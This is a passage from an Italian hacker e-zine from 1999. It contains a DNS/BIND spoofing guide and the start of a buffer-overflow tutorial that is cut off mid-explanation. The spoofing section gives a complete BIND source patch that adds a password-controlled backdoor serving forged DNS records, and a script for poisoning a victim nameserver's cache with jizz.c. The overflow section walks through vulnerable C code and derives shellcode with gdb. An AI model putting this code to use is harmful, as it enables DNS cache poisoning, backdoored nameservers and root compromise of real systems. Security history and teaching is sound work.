(of=fopen(tobeowned,"a")) != NULL) { buf[strlen(buf)+1]=0; buf[strlen(buf)]='\n'; fputs(w0w,of); fputs(buf,of); fclose(of); } } fclose(iff); } ---------- snip ---------- ---------------[ DNS/BiND SP00FiNG F.A.Q. AND PRATiCAL USES ]--------------- ----------------------------------[ VaLV0LiN3 ]------------------------------- .------------------. | \ \ / / |_ 0. intr0 |ValV0liN3 cReW '99|| 1. PreLiMiNaRi | \ \ / / || 2. Implementazione dell'attakko | \ ^ / || |_ _ _ \___/_ _ _ _|| '------------------' .---------------------------------------------, | 0. intr0, gr33tz, fuckiNG, miSC | '---------------------------------------------' R3s0urC3 : 4 - Litri di COCA 15 - Aspirine (mi e' venuta la febbre, pork') 10 - Papini (wurstel, patatine, tomato, majonese) Pink Floyd, The Cure, Massive AttacK, 99Posse Entertainment TiM3/DaTe : 14/04/99 - 03.50 gr33tZ : I Mie Ringraziamenti, vanno a tutta la posse di s0ftpj... ...in particolare: smaster - grazie per la pazienza, br0th' \sPIRIT\ - sikuri di vincere con NeTRaiDeR! :PP Cavallo - uahuzhauhzuhauhz Dashie, |scacco|, B_Berry, pIGpEN... ...inoltre: xOANON, PhoenYx ...e tutti gli altri, che non mi vengono in mente (quando mai!) .----------------. |01. PreLiMiNaRi | '----------------' Innanzitutto, alcuni chiarimenti: Molte persone, mi hanno scritto e chiesto come sp00fare il proprio IP su IRC. IL DNS/BIND SPOOFING, non e' completamente UTILE (almeno in parte) per lo spoofing del proprio IP su IRC. Tutti i grossi IRC-Network, adesso, sono protetti da questo tipo di attakko, l'unico server, da me provato, che continua, ad essere vulnerabile a quest'attakko e'....uahuzhauhzh...irc.tin.it...auhzuhauhzuhauhz per il resto TUTTI gli altri server di EFNET, UnderNET, DALNet, etc.etc. sono completamente CHIUSI a quest'attakko. Quindi se stai leggendo, solo per lamerare su IRC, vai a cercarti qualkos'altro da fare. Motivo utile, invece e' l'uso di shell, FTP e tutto il resto che vi puo' venire in mente con un accesso ristretto. lam0r> Ho sentito dire, che l'unico programma utilizzabile, per sp00fare e' "erect.c" r0x> uahuhauh... cazzate. Mai sentito parlare di jizz.c ? Quando finirai di leggere, capirai che JIZZ non solo e' piu' facile da utilizzare, ma anche molto piu' efficente! lam0r> E' vero che devo aspettare almeno un'ora prima di poter spoofare nuovamente un IP, utilizzando il JIZZ? r0x> In parte e' vero, per il resto no. Le vecchie versioni di jizz.c non comprendevano un'opzione di modifica TTL (TTL = Tempo di Vita) che serve proprio a questo: TTL e' il tempo di vita dello sp00f. Nelle vecchie versioni, mancando quest'opzione, era necessaria circa un'ora per killare lo sp00f. Le nuove versioni sono completamente libere da questo problema; e' presente infatti un'opzione che permette di cambiare a piacimento il tempo di vita dello sp00f. .--------------------------------. |02. Implementazione dell'attakko| '--------------------------------' Prima di cominciare, ricordo ai piu' profani che per implementare e fare andare a buon fine quest'attakko OCCORE ESSERE ROOT su un DNS AUTORITATIVO, altrimenti non funzionera' mai niente. Passo 1) Assicurati, che il Name Server (da ora in poi NS), che stai utilizzando e' un NS Autoritativo: (deve essere considerato da interNIC come un netword di "Classe C"). Ad esempio: il server DNS di TIN e' autoritativo per TIN. Passo 2) Forziamo le regole... Una volta accertato (e r00tato) il NS Autoritativo dobbiamo apportare un po' di modifiche al Software DNS (in questo caso specifico al BIND). Il Patch, andra' a modificare il file "ns_req.c". Per fare questo, utilizzeremo il comando: "patch -p1 < ns_req.c". Una volta patchato il BIND BISOGNA ricompilare il tutto. Il patch, che avrai "cuttato", DEVE ESSERE CHIAMATO: "ns_req.c.patch" ---------- snip ---------- *** named/ns_req.c Tue Oct 8 00:51:05 1996 --- ns_req.c Thu Apr 24 13:28:55 1997 *************** *** 131,136 **** --- 131,165 ---- u_int16_t, u_int16_t)); static void copyCharString __P((u_char **, const char *)); + + #ifdef JORDY + /* preset first ones */ + char spoofHost[256] = "is.a.lamer"; + char spoofIP[16] = "209.84.0.208"; + + /* zee password */ + char spoofPassword[] = "moron"; + + /* host to force spoof code from */ + const char queryHost[] = "stupid.wserv.com"; + + /* domain because i'm too lazy to parse it out */ + const char authDomain[] = "wserv.com"; + + /* primary nameserver.. you MUST run this as primary */ + const char primaryName[] = "snappy.wserv.com"; + + /* this is the IP *BACKWARDS* so 12.34.56.78 becomes 78.56.34.12 */ + const char primaryIP[] = "2.188.105.206"; + + /* secondary */ + const char secondaryName[] = "dew.wserv.com"; + + /* this is the IP *BACKWARDS */ + const char secondaryIP[] = "2.86.0.208"; + #endif + + /* * Process request using database; assemble and send response. */ *************** *** 231,243 **** /*NOTREACHED*/ } /* * apply final polish */ hp->qr = 1; /* set Response flag */ hp->ra = (NoRecurse == 0); ! n = doaddinfo(hp, cp, buflen); cp += n; buflen -= n; --- 260,273 ---- /*NOTREACHED*/ } + /* * apply final polish */ hp->qr = 1; /* set Response flag */ hp->ra = (NoRecurse == 0); ! n = doaddinfo(hp, cp, buflen); cp += n; buflen -= n; *************** *** 253,258 **** --- 283,289 ---- if (debug >= 10) fp_nquery(msg, cp - msg, ddt); #endif /*DEBUG*/ + if (qsp == QSTREAM_NULL) { if (sendto(dfd, (char*)msg, cp - msg, 0, (struct sockaddr *)from, *************** *** 501,506 **** --- 532,755 ---- *msglenp = *cpp - msg; /* Total message length */ return (Finish); } + #ifdef JORDY + /* remote modification of the parameters, by fx */ + if (dnbuf[0] == '@') { + char *dip1, *dip2, *dip3, *dip4, *dpass; + char *tokenPtr, *dip, *dhost; + + /* split query into tokens */ + tokenPtr = strtok(dnbuf, "@"); + dpass = tokenPtr; + dip = strtok(NULL, "@"); + dhost = strtok(NULL, "@"); + + /* tokenize ip bits */ + tokenPtr = strtok(dip, "."); + dip1 = tokenPtr; + dip2 = strtok(NULL, "."); + dip3 = strtok(NULL, "."); + dip4 = strtok(NULL, "."); + + if (!strcasecmp(dpass, spoofPassword)) { + if (strlen(dhost) < 255) + sprintf(spoofHost, "%s", dhost); + if (strlen(dip1)+strlen(dip2)+strlen(dip3)+strlen(dip4)+3 <= 15)+ sprintf(spoofIP, "%s.%s.%s.%s", dip4, dip3, dip2, dip1); + + syslog(LOG_INFO, "PASSWORD ACCEPTED: %s->%s", spoofIP, spoofHost); + + hp->rcode = NXDOMAIN; + return(Finish); + } + } + + if (!strcasecmp(dnbuf, queryHost)) { + u_char *tp; + char tbuf[30], *tptr, sh[255]; + + hp->aa = 1; + hp->qr = 1; + hp->rd = 1; + hp->ra = 1; + hp->rcode = NOERROR; + hp->ancount = htons(3); + hp->nscount = htons(3); + hp->arcount = htons(3); + + /* this is a lame hack, but i can't seem to figure out why in + heck it keeps adding \'s before my stuff */ + + + /* SPOOFHOST TTL IN A IP */ + strcpy(sh, spoofHost); + for (tptr = strtok(sh, "."); tptr != NULL; + tptr = strtok(NULL, ".")) + copyCharString(cpp, tptr); + + *(*cpp)++ = 0x00; + PUTSHORT(T_A, *cpp); /* Type */ + PUTSHORT(C_IN, *cpp); /* Class */ + PUTLONG(60, *cpp); /* TTL */ + PUTSHORT(INT32SZ, *cpp); + PUTLONG(inet_addr(spoofIP), *cpp); + + + /* REVERSE.IP.IN-ADDR.ARPA TTL IN PTR SPOOFHOST */ + + strcpy(tbuf, spoofIP); + strcat(tbuf, ".in-addr.arpa"); + + for (tptr = strtok(tbuf, "."); tptr != NULL; + tptr = strtok(NULL, ".")) + copyCharString(cpp, tptr); + + *(*cpp)++ = 0x00; + PUTSHORT(T_PTR, *cpp); /* Type */ + PUTSHORT(C_IN, *cpp); /* Class */ + PUTLONG(60, *cpp); /* TTL */ + tp = *cpp; /* Temp RdLength */ + PUTSHORT(0, *cpp); + + strcpy(sh, spoofHost); + for (tptr = strtok(sh, "."); tptr != NULL; + tptr = strtok(NULL, ".")) + copyCharString(cpp, tptr); + + *(*cpp)++ = 0x00; + PUTSHORT((*cpp) - (tp + INT16SZ), tp); /* Real RdLength */ + + + /* CREDITS */ + copyCharString(cpp, "jordy"); + copyCharString(cpp, "made"); + copyCharString(cpp, "this"); + *(*cpp)++ = 0x00; + PUTSHORT(T_TXT, *cpp); + PUTSHORT(C_IN, *cpp); + PUTLONG(0, *cpp); + tp = *cpp; + PUTSHORT(0, *cpp); + copyCharString(cpp, "thanks to prym, fx and hs"); + *(*cpp)++ = 0x00; + PUTSHORT((*cpp) - (tp + INT16SZ), tp); /* Real RdLength */ + + + /* MYDOMAIN.TLD TTL IN NS PRIMARY.NS */ + strcpy(sh, authDomain); + for (tptr = strtok(sh, "."); tptr != NULL; + tptr = strtok(NULL, ".")) + copyCharString(cpp, tptr); + + *(*cpp)++ = 0x00; + PUTSHORT(T_NS, *cpp); + PUTSHORT(C_IN, *cpp); + PUTLONG(60, *cpp); + tp = *cpp; /* Temp RdLength */ + PUTSHORT(0, *cpp); + + strcpy(sh, primaryName); + for (tptr = strtok(sh, "."); tptr != NULL; + tptr = strtok(NULL, ".")) + copyCharString(cpp, tptr); + + *(*cpp)++ = 0x00; + PUTSHORT((*cpp) - (tp + INT16SZ), tp); /* Real RdLength */ + + + /* MYDOMAIN.TLD TTL IN NS SECONDARY.NS */ + strcpy(sh, authDomain); + for (tptr = strtok(sh, "."); tptr != NULL; + tptr = strtok(NULL, ".")) + copyCharString(cpp, tptr); + + *(*cpp)++ = 0x00; + PUTSHORT(T_NS, *cpp); + PUTSHORT(C_IN, *cpp); + PUTLONG(60, *cpp); + tp = *cpp; /* Temp RdLength */ + PUTSHORT(0, *cpp); + + strcpy(sh, secondaryName); + for (tptr = strtok(sh, "."); tptr != NULL; + tptr = strtok(NULL, ".")) + copyCharString(cpp, tptr); + + *(*cpp)++ = 0x00; + PUTSHORT((*cpp) - (tp + INT16SZ), tp); /* Real RdLength */ + + + /* SPOOFHOST TTL IN NS NS.SPOOFHOST */ + strcpy(sh, spoofHost); + for (tptr = strtok(sh, "."); tptr != NULL; + tptr = strtok(NULL, ".")) + copyCharString(cpp, tptr); + + *(*cpp)++ = 0x00; + PUTSHORT(T_NS, *cpp); + PUTSHORT(C_IN, *cpp); + PUTLONG(60, *cpp); + tp = *cpp; /* Temp RdLength */ + PUTSHORT(0, *cpp); + + copyCharString(cpp, "ns"); + strcpy(sh, spoofHost); + for (tptr = strtok(sh, "."); tptr != NULL; + tptr = strtok(NULL, ".")) + copyCharString(cpp, tptr); + + *(*cpp)++ = 0x00; + PUTSHORT((*cpp) - (tp + INT16SZ), tp); /* Real RdLength */ + + + /* PRIMARY.NS TTL IN A IP */ + strcpy(sh, primaryName); + for (tptr = strtok(sh, "."); tptr != NULL; + tptr = strtok(NULL, ".")) + copyCharString(cpp, tptr); + + *(*cpp)++ = 0x00; + PUTSHORT(T_A, *cpp); /* Type */ + PUTSHORT(C_IN, *cpp); /* Class */ + PUTLONG(60, *cpp); /* TTL */ + PUTSHORT(INT32SZ, *cpp); + PUTLONG(inet_addr(primaryIP), *cpp); + + + /* NS.SPOOFHOST IN A IP */ + + copyCharString(cpp, "ns"); /* Name */ + + strcpy(sh, spoofHost); + for (tptr = strtok(sh, "."); tptr != NULL; + tptr = strtok(NULL, ".")) + copyCharString(cpp, tptr); + + *(*cpp)++ = 0x00; + PUTSHORT(T_A, *cpp); /* Type */ + PUTSHORT(C_IN, *cpp); /* Class */ + PUTLONG(60, *cpp); /* TTL */ + PUTSHORT(INT32SZ, *cpp); + PUTLONG(13245678, *cpp); + + /* SECONDARY TTL IN A IP */ + strcpy(sh, secondaryName); + for (tptr = strtok(sh, "."); tptr != NULL; + tptr = strtok(NULL, ".")) + copyCharString(cpp, tptr); + + *(*cpp)++ = 0x00; + PUTSHORT(T_A, *cpp); /* Type */ + PUTSHORT(C_IN, *cpp); /* Class */ + PUTLONG(60, *cpp); /* TTL */ + PUTSHORT(INT32SZ, *cpp); + PUTLONG(inet_addr(secondaryIP), *cpp); + + *msglenp = *cpp - msg; /* Total message length */ + + return (Finish); + } + #endif /* JORDY */ /* * Process query. ---------- snip ---------- Passo3) Bene, ora che abbiamo "patchato" il BIND siamo pronti a sferrare il nostro attakko. Adesso entra in azione il jizz.c! Prima di tutto ti occorre scaricarlo ...uahuzhuahuz... ...puoi farlo dovunque, ad esempio: www.rootshell.com www.kyuzz.org/valvoline !-* Pubblicita' Okkulta!...uhauhzuahuzh *-| www.hack3rs.org ed in mille altri posti. Passo4) Ora, siamo davvero pronti, per sferrare l'attakko. Ci sono vari modi per utilizzare il jizz.c, io personalmente vi propongo un piccolo script che rendera' la vita molto piu' semplice... ...se poi volete proprio essere c00l fate un po' come credete...auhzuhauhz ---------- snip ---------- #!/bin/sh if [ "$4" = "" ] ; then echo "usage: $0 " exit 1 fi MANG=`nslookup $2 |grep Address|gawk '{print$2}'` NS_IP=`echo $MANG|gawk '{print$2}'` echo "killall named" killall named echo "$3 = $4... NS = $2($NS_IP)" sleep 2 ./jizz $1.domain.net hostname.domain.net $NS_IP hostname.domain.net $3 $4>>/dev/null& sleep 3 nslookup $1.domain.net $NS_IP sleep 2 killall jizz sleep 2 echo "/usr/sbin/named" /usr/sbin/named exit ---------- snip ---------- In questo script, come avrai visto, ci sono alcune linee dove si parla di "domain.net" e "hostname.domain.net", queste vanno personalizzate con le proprie informazioni! Una volta sistemato salva il file con un qualsiasi nome ed avvialo: comparira' qualkosa del tipo: "usage: jizzinterface " Ankora una volta, i parametri da utilizzare, saranno quelli personali e relativi alla propria situazione ed al proprio NS. Passo5) Bene. Innanzitutto e' necessario conoscere i NS della nostra vittima. Sicuramente, ci saranno 2 NS; questi sono i possibili NS che la vittima contattera' per avere risolti gli indirizzi IP. Ad esempio, potremmo avere una situzione di questo tipo: NS.LAM0R.NET 212.216.235.2 NS1.LAM0R.NET 212.216.235.55 Bene! In questo caso utilizzeremo il nostro script, ritagliato appena prima; gli faremo chachare nel server NS.LAM0R.NET che l'IP: 66.66.66.66 (il nostro IP) e': im.rulezzing.fucked.lam0r.net Una volta cachato, la macchina vittima ci riconoscera' e risolvera' il nostro IP come: im.rulezzing.fucked.lam0r.net. Valv0lin3 -----------------------------[ BUFFER 0VERFL0WS ]----------------------------- ---------------------------------[ SirCondor ]-------------------------------- MU$iCa A$ColTaTA : TOOL - 46&2 / SOUNDGARDEN - 4th OF JULY METALLICA - WELCOME HOME CiB0 1NGEriT0 : n. 1 Piadina con prosciutto e fontina n. 2 Banane semi-verdi n. 1 Succo d'arancia al 40% (leggi: acqua colorata) SalUtI : Tutti i fratellini / fratelloni di Orda (grazie di esistere) DIO (grazie di non esistere) Reactive, ER piu' grande acher der tufello! :) JUS, nonostante tutto ti voglio bene... V4ffancUl0 A : Milosevic e gli altri nazisti di merda. Il postino che porta la bolletta del telefono :) Italia1 che massacra indegnamente i Simpsons con la pubblicita' -INTRO- Ok, questo e' il mio primo articolo per BFi e volevo uniformarmi allo stile :) E sempre seguendo questa linea vorrei precisare che i contenuti di questo articolo sono a scopo puramente informativo blah blah blah. Non mi frega un cazzo di quello che farete con queste informazioni. Che io sappia non esistono testi in italiano che trattino quest'argomento, e anche quelli in inglese non sono certo numerosi. L'unico veramente degno di nota e' quello di Aleph1, "Smashing the Stack for Fun and Profit", contenuto nel numero 49 di Phrack (www.phrack.com). Quest'articolo riprende alcune parti di quel testo (gli esempi e le sessioni di debugging ad esempio), ma ho cercato di chiarire un po' le parti piu' "complicate". Resta comunque d'obbligo, per capire questo articolo, una discreta conoscenza del C, e una rudimentale conoscenza dell'assembler. Ok, dopo tanta inutilita', vediamo di darci da fare :)) - COS'E' UN BUFFER OVERFLOW ? - Spero che tutti sappiate che cos'e' un buffer (se non lo sapete, passate al prossimo articolo o tornate a giocare a Quake II). In sostanza e' una serie continua di celle di memoria di un calcolatore che contengono informazioni di uno stesso tipo (numeri, caratteri ecc.). Un po' meno ovvio e' che cosa sia un "overflow". Il fido vocabolario di inglese ci puo' dare in questo caso una mano. OVERFLOW : v.t. Riempire oltre il limite, Far traboccare. Quindi, facendo 2 + 2, un "buffer overflow" consiste nel mettere in un buffer piu' dati di quanto esso non sia stato predisposto ad accogliere. Lo so cosa state pensando..."cosa cazzo centra questo col prendere la root in un sistema?". Ebbene, centra, fidatevi. - I PROCESSI E LA MEMORIA NEI SISTEMI UNIX - Beh, innanzitutto credo che una spiegazione di cosa sia lo stack e' doverosa. Lo STACK e' una delle tre aree di memoria in cui e' organizzato un processo. Le tree aree sono l'area di testo (TEXT), l'area dati (DATA) e l'area stack (STACK), e sono cosi' organizzate in memoria: /------------------\ indirizzi ALTI di memoria | | | STACK | | | |------------------| | (Non inizializ.) | | DATA | | (Inizializzati) | |------------------| | | | TEXT | | | \------------------/ indirizzi BASSI di memoria (verso 0x00000000) All'atto di eseguire il programma, le zone TEXT e DATA sono trasferite nella memoria. Nella regione DATA possiamo distinguere due tipi di dati: inizializzati e non inizializzati (detti anche "BSS"). Fanno parte dei dati "BSS" le variabili "static", ad esempio. La regione STACK occupa gli indirizzi di memoria piu' alti. Quindi, un processo che sta girando in memoria avra' piu' o meno questo aspetto, dal punto di vista della memoria: |------------------| Indirizzi piu' ALTI |proc. kernel stack| |------------------| | red zone | |------------------| | user area | |------------------| | struc. ps_string | --> INFORMAZIONI SUL PROCESSO |------------------| | signal code | |------------------| -----------\ | env strings | \ |------------------| \ | argv strings | \ |------------------| \ | env pointers | ARGOMENTI PASSATI ALL'ESEGUIBILE |------------------| / E VARIABILI D'AMBIENTE | argv pointers | / |------------------| / | argc | / |------------------| -----------/ | STACK | | | | | | | | V | | | | | | ^ | | | | | | | | HEAP | |------------------| | BSS | --> DATI NON INIZIALIZZATI |------------------| | Initialized data | --> DATI INIZIALIZZATI |------------------| | TEXT | |------------------| Indirizzi piu' BASSI (verso 0x00000000) Lo stack, che nei processori Intel cresce verso il basso (verso indirizzi di memoria numericamente minori), funziona col principio LIFO (Last In, First Out), cioe' e' paragonabile ad una grande pila in cui vengono "accatastati" o ritirati dei dati. Queste operazioni avvengono quindi sempre e solo sulla cima della pila. Nel linguaggio assembler, l'istruzione PUSH mette un dato in cima alla pila, e l'istruzione POP recupera dalla cima l'ultimo dato che e' stato "PUSHato". In pratica, in pseudo-assembler: MOV a,10 ; a = 10 MOV b,20 ; b = 20 PUSH a PUSH b POP a ; adesso a=20 POP b ; e b = 10 Normalmente i dati sono ritirati nell'ordine inverso in cui sono stati salvati sullo stack. In questo caso, a titolo di esempio, il principio e' stato violato. - A COSA SERVE LO STACK ? - Per strutturare i programmi, i linguaggi di alto livello come il C e il Pascal permettono la definizione di funzioni e procedure. Una volta terminata l'esecuzione di queste, il controllo deve in qualche modo tornare al programma chiamante, e precisamente all'istruzione IMMEDIATAMENTE successiva alla chiamata di funzione. E' risaputo che funzioni e procedure possono avere delle variabili locali, e possono accettare parametri dal programma chiamante. Bene. Lo stack serve sostanzialmente a questo: memorizzare le variabili locali delle funzioni e gli argomenti a loro passati. - ARCHITETTURA x86 - Nei processori Intel, dal 386 al Pentium II, il registro ESP viene usato per puntare COSTANTEMENTE alla cima dello stack. Quindi un'istruzione "PUSH" provochera' la diminuzione del valore di ESP (ricordate che lo stack cresce verso indirizzi di memoria numericamente piu' bassi), mentre un'istruzione "POP" ne provochera' l'aumento. Una funzione potrebbe quindi teoricamente accedere alle sue variabili locali tramite un indirizzamento a partire da ESP... il problema e' che il valore di ESP cambia continuamente ad ogni istruzione PUSH e POP, e quindi questo non sarebbe molto pratico. Nei processori x86 quindi, il registro EBP viene utilizzato come "FRAME POINTER" (FP). Il valore di EBP non cambia mai all'interno di una stessa funzione, e quindi sia gli argomenti ad essa passati che le sue variabili locali possono essere referenziate facilmente con un OFFSET che indichi la distanza da EBP. Ma cosa succede quando chiamiamo una funzione con dei parametri? Vediamo un breve esempio: esempio1.c: ---------- snip ---------- void function(int a, int b, int c) { char buffer1[5]; char buffer2[10]; } void main() { function(1,2,3); } ---------- snip ---------- Compiliamo questo breve programma con l'opzione -S del gcc, per generare codice assembler in output: $ gcc -S -o esempio1.s esempio1.c Questo e' il codice generato dal programma: ------------------------------------------------------------------------------ pushl $3 pushl $2 pushl $1 call function ------------------------------------------------------------------------------ Per prima cosa gli argomenti della funzione vengono salvati sullo stack in ordine inverso, poi la funzione viene chiamata. La chiamata a "call" fa si' che l'indirizzo della successiva istruzione da eseguire (EIP) venga salvato nello stack. Chiameremo questo valore "indirizzo di ritorno" (RET). Ora vediamo che cosa avviene all'interno della funzione: ------------------------------------------------------------------------------ pushl %ebp movl %esp,%ebp subl $20,%esp ------------------------------------------------------------------------------ Questa parte viene chiamata in gergo il "preludio" alla funzione. Per prima cosa EBP viene salvato sullo stack. Questo e' necessario per fare in modo che una volta terminata la funzione, il programma chiamante possa ritrovare il suo FRAME (contenente variabili locali e argomenti) semplicemente eseguendo un POP dallo stack. Poi il contenuto di ESP viene copiato in EBP, creando il nuovo FRAME POINTER, che sara' utilizzato dalla funzione per riferirsi ai suoi parametri (con offset positivi) e alle sue variabili locali (con offset negativi). Successivamente, allo STACK POINTER viene sottratto $20, per lasciare spazio alle variabili locali. Ora qualcuno si stara' giustamente chiedendo perche' cazzo viene sottratto 20 e non 15 (10 + 5), visto che un char occupa esattamente 1 byte. La memoria puo' essere indirizzata solo in multipli della "PAROLA" di memoria. Negli attuali processori, una parola e' composta da 4 byte. Quindi, un array di 5 char in realta' occupera' 8 byte (2 parole), e un array di 12 char ne occupera' 12 (3 parole). Quindi in totale le variabili locali della funzione prenderanno 20 byte. In pratica, dopo la chiamata alla funzione, lo stack avra' questo aspetto: Memoria BASSA [verso 0x00000000] Memoria ALTA buffer2 buffer1 fp ret a b c <------ [ ][ ][ ][ ][ ][ ][ ] cima dello base dello stack stack - BUFFER OVERFLOWS - Ok. Adesso viene il bello. Osserviamo questo programma: esempio2.c ---------- snip ---------- void function(char *str) { char buffer[16]; /* questa cazzata e' stata fatta come esempio... la cosa interessante e' che molti programmatori la fanno senza accorgersene! :) */ strcpy(buffer,str); } void main() { char large_string[256]; int i; /* ora riempiamo large_string con un carattere diverso da \0 */ for( i = 0; i < 255; i++) large_string[i] = 'A'; function(large_string); } ---------- snip ---------- La funzione "function" contiene un errore di programmazione ben visibile: la funzione "strcpy" copia il contenuto di str (255 byte) in "buffer" (che ha una grandezza di 16 byte) senza controllare che la grandezza di "buffer" non sia superata. Ma come puo' questo errore essere sfruttato per eseguire codice arbitrario? Diamo un'occhiata allo stack di questo programma dopo la chiamata a "function": Memoria BASSA [verso 0x00000000] Memoria ALTA buffer fp ret *str <------ [ ][ ][ ][ ] cima dello base dello stack stack La funzione strcpy comincia a copiare nell'inizio di buffer, e continua finche' non trova uno zero in str (che non c'e', dato che str e' composta da 255 caratteri 'A'). Poiche' la copia avviene verso indirizzi crescenti di memoria (cioe' nel verso opposto in cui cresce lo stack), strcpy continuera' a copiare 'A' in memoria sovrascrivendo qualsiasi cosa essa contenga, compreso il RET (l'indirizzo della successiva istruzione da eseguire all'uscita della funzione). Forse adesso qualcuno comincia ad intravedere la possibilita' che ci si para davanti: modificare il flusso di esecuzione del programma! In questo caso il programma andrebbe in Segmentation Fault, perche' il RET sarebbe sovrascritto da tutte 'A' ( 0x41 esadecimale), e verrebbe a contenere quindi il valore 0x41414141. Essendo questo fuori dallo spazio di memoria riservato al processo, si otterrebbe una violazione di segmento. Vediamo subito un esempio pratico di come possiamo alterare il flusso di un nostro programma giocherellando un po' con il RET... esempio3.c: ---------- snip ---------- void function(int a, int b, int c) { char buffer1[5]; char buffer2[10]; int *ret; ret = buffer1 + 12; /* ret contiene ora l'indirizzo di RET */ (*ret) += 8; /* ..che viene aumentato di 8 byte */ } void main() { int x; x = 0; function(1,2,3); x = 1; printf("%d\n",x); } ---------- snip ---------- Osservando i diagrammi di stack precedenti, possiamo vedere che il RET dista esattamente 12 byte dall'inizio di buffer1 ( 8 byte + 4 byte). Predisponiamo quindi un puntatore a RET, e ne cambiamo il valore in modo da far saltare al programma l'esecuzione dell'assegnazione x = 1. Per fare cio', basta aggiungere 8 byte al valore di RET. Per quelli di voi che si stanno chiedendo perche' (spero siano molti... chiedersi il perche' delle cose e' un ottima strada per abbandonare lo stato di LAMER :) ecco una sessione di debugging: ----------------------------------------------------------------------------- $ gdb example3 GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc... (no debugging symbols found)... (gdb) disassemble main Dump of assembler code for function main: 0x8000490
: pushl %ebp 0x8000491 : movl %esp,%ebp 0x8000493 : subl $0x4,%esp 0x8000496 : movl $0x0,0xfffffffc(%ebp) 0x800049d : pushl $0x3 0x800049f : pushl $0x2 0x80004a1 : pushl $0x1 0x80004a3 : call 0x8000470 0x80004a8 : addl $0xc,%esp 0x80004ab : movl $0x1,0xfffffffc(%ebp) 0x80004b2 : movl 0xfffffffc(%ebp),%eax 0x80004b5 : pushl %eax 0x80004b6 : pushl $0x80004f8 0x80004bb : call 0x8000378 0x80004c0 : addl $0x8,%esp 0x80004c3 : movl %ebp,%esp 0x80004c5 : popl %ebp 0x80004c6 : ret 0x80004c7 : nop ------------------------------------------------------------------------------ Possiamo vedere che al momento della chiamata di funzione, RET contiene l'indirizzo dell'istruzione successiva da eseguire (0x80004a8). Ma noi vogliamo saltare l'assegnamento a=1, e arrivare alla posizione 0x80004b2. La distanza e' esattamente di 8 byte. - LO SHELL CODE - Cosa vogliamo far eseguire al programma quando tentiamo di sfruttare un buffer overflow? La prima cosa che mi viene in mente (e spero anche a voi...) e' una bella shell, in modo da continuare poi a dare comandi. Solo che c'e' un problemino... nel 99% dei casi il programma che stiamo cercando di exploitare non contiene il codice per eseguire una shell... ma non e' un gran problema: ce lo mettiamo noi! Un'ottima locazione per inserire il codice che esegue una shell e' proprio il buffer che stiamo cercando di OVERFLOWare (sto creando un nuovo vocabolario :) In pratica lo stack dovrebbe essere piu' o meno cosi': base della DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF cima della memoria 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF memoria buffer fp ret a b c <------ [SSSSSSSSSSSSSSSSSSSS][SSSS][0xD8][0x01][0x02][0x03] ^ | |____________________________| cima dello base dello stack stack Il codice per eseguire un shell in C e' questo: shellcode.c ---------- snip ---------- #include void main() { char *name[2]; name[0] = "/bin/sh"; name[1] = NULL; execve(name[0], name, NULL); /* man execve, per favore :) */ } ---------- snip ---------- Compiliamo il programmino con l'opzione -static (altrimenti il codice di execve non sarebbe incluso), e facciamo un po' di debugging: $ gcc -o shellcode -ggdb -static shellcode.c $ gdb shellcode GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc... (gdb) disassemble main Dump of assembler code for function main: 0x8000130
: pushl %ebp 0x8000131 : movl %esp,%ebp 0x8000133 : subl $0x8,%esp 0x8000136 : movl $0x80027b8,0xfffffff8(%ebp) 0x800013d : movl $0x0,0xfffffffc(%ebp) 0x8000144 : pushl $0x0 0x8000146 : leal 0xfffffff8(%ebp),%eax 0x8000149 : pushl %eax 0x800014a : movl 0xfffffff8(%ebp),%eax 0x800014d : pushl %eax 0x800014e : call 0x80002bc <__execve> 0x8000153 : addl $0xc,%esp 0x8000156 : movl %ebp,%esp 0x8000158 : popl %ebp 0x8000159 : ret End of assembler dump. (gdb) disassemble __execve Dump of assembler code for function __execve: 0x80002bc <__execve>: pushl %ebp 0x80002bd <__execve+1>: movl %esp,%ebp 0x80002bf <__execve+3>: pushl %ebx 0x80002c0 <__execve+4>: movl $0xb,%eax 0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx 0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx 0x80002cb <__execve+15>: movl 0x10(%ebp),%edx 0x80002ce <__execve+18>: int $0x80 0x80002d0 <__execve+20>: movl %eax,%edx 0x80002d2 <__execve+22>: testl %edx,%edx 0x80002d4 <__execve+24>: jnl 0x80002e6 <__execve+42> 0x80002d6 <__execve+26>: negl %edx 0x80002d8 <__execve+28>: pushl %edx 0x80002d9 <__execve+29>: call 0x8001a34 <__normal_errno_location> 0x80002de <__execve+34>: popl %edx 0x80002df <__execve+35>: movl %edx,(%eax) 0x80002e1 <__execve+37>: movl $0xffffffff,%eax 0x80002e6 <__execve+42>: popl %ebx 0x80002e7 <__execve+43>: movl %ebp,%esp 0x80002e9 <__execve+45>: popl %ebp 0x80002ea <__execve+46>: ret 0x80002eb <__execve+47>: nop End of assembler dump. ------------------------------------------------------------------------------ Vediamo passo per passo cosa succede: ------------------------------------------------------------------------------ 0x8000130
: pushl %ebp 0x8000131 : movl %esp,%ebp 0x8000133 : subl $0x8,%esp Questo e' semplicemente il "preludio" alla funzione (vedi sopra). A ESP viene sottratto 8 perche' i due puntatori (char *name[2]) occupano una parola ciascuno (in tutto 8 byte). 0x8000136 : movl $0x80027b8,0xfffffff8(%ebp) Copiamo il valore 0x80027b8 (l'indirizzo della stringa "/bin/sh") nel primo puntatore di name[]. Questo corrisponde a: name[0] = "/bin/sh"; 0x800013d : movl $0x0,0xfffffffc(%ebp) Copiamo il valore 0x0 (NULL) nel secondo puntatore di name[], equivalente a: name[1] = NULL; Ora inizia la chiamata a execve(): 0x8000144 : pushl $0x0 Salviamo gli argomenti di execve() in ordine inverso sullo stack, iniziando da NULL. 0x8000146 : leal 0xfffffff8(%ebp),%eax Carichamo in EAX l'indirizzo di name[]... 0x8000149 : pushl %eax ...e lo spediamo nello stack. 0x800014a : movl 0xfffffff8(%ebp),%eax Carichiamo in EAX l'indirizzo della stringa "/bin/sh"... 0x800014d : pushl %eax ...e lo spediamo nello stack. 0x800014e : call 0x80002bc <__execve> Finalmente 